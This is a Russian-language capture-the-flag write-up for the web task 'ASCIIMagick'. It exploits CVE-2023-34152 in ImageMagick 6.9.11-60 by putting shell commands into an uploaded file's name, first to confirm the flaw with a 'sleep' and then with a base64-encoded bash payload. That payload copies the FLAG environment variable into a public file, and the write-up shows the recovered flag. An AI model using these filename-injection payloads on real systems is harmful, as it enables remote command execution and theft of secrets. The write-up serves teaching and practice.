На очереди — web-таск средней сложности ASCIIMagick, где пришлось превратить безобидный генератор ASCII-арта в инструмент для чтения флагов.
ASCIIMagick Writeup
category: web, points: 300Загрузи картинку - получи ASCII-арт. Красиво! Загрузи правильную картинку - получи доступ к системе. Этот сервис переводит картинки, гифки и видео в ASCII-анимацию, как в старых терминалах и IRC-ботах :D
флаг находится в переменной окружения FLAG
При загрузке гифок и видео сервис переводит их в ASCII-анимацию, но при загрузке изображения отвечает ошибкой:
Failed to extract frames with ImageMagick 6.9.11-60. Falling back to display /app/static/sample_animation.txt
Из ошибки узнаём:
- Версию
ImageMagick: 6.9.11-60- Абсолютный путь:
/app/static/sample_animation.txtПоищем известные
RCE/command injection уязвимости для ImageMagick 6.9 — одним из первых результатов находится CVE-2023-34152:с опцией сборки —
enable-pipes ImageMagick может выполнять команды из имени файла, начинающегося с |, через popen. В SanitizeString не экранируются ` и ", поэтому возможна command injection.Удостоверимся, что
версия 6.9.11-60 уязвима:
https://security-tracker.debian.org/tracker/CVE-2023-34152
Исходный репорт об уязвимости:
https://github.com/ImageMagick/ImageMagick/issues/6339
Подтвердим что сервис уязвим - создадим файл с payload в имени и загрузим его:
touch '|"sleep 30".png'
После загрузки сервис «зависает» на 30 секунд при обработке пустого файла. Если изменить значение вsleep,время ответа меняется соответственно, что подтверждает исполнение payload.
Из описания таска знаем, что флаг хранится в переменной окружения FLAG. Напрямуюstdoutмы не видим, поэтому запишем значение в/app/static/sample_animation.txt:Sh/bin/bash -c "echo $FLAG > /app/static/sample_animation.txt"
Значит, для решения нужно:
1. Создать файл с целевым command injection в имени
2. Загрузить его
3. Получить флаг в перезаписанном
/app/static/sample_animation.txtДля удобства переведем payload в base64:
echo -n '/bin/bash -c "echo $FLAG > /app/static/sample_animation.txt"' | base64
L2Jpbi9iYXNoIC1jICJlY2hvICRGTEFHID4gL2FwcC9zdGF0aWMvc2FtcGxlX2FuaW1hdGlvbi50eHQi
Создадим файл с целевым payload в имени:
Sh
touch '|"echo L2Jpbi9iYXNoIC1jICJlY2hvICRGTEFHID4gL2FwcC9zdGF0aWMvc2FtcGxlX2FuaW1hdGlvbi50eHQi|base64 -d|bash".png'
Подгрузим файл и обновим страницу - сервис вернёт обновленное содержимое/app/static/sample_animation.txt:
vkctf{00e3ed98b6d9acd54b04334d26ad4b13}
Впереди — новые таски и свежие разборы. Не переключайтесь! 🔹

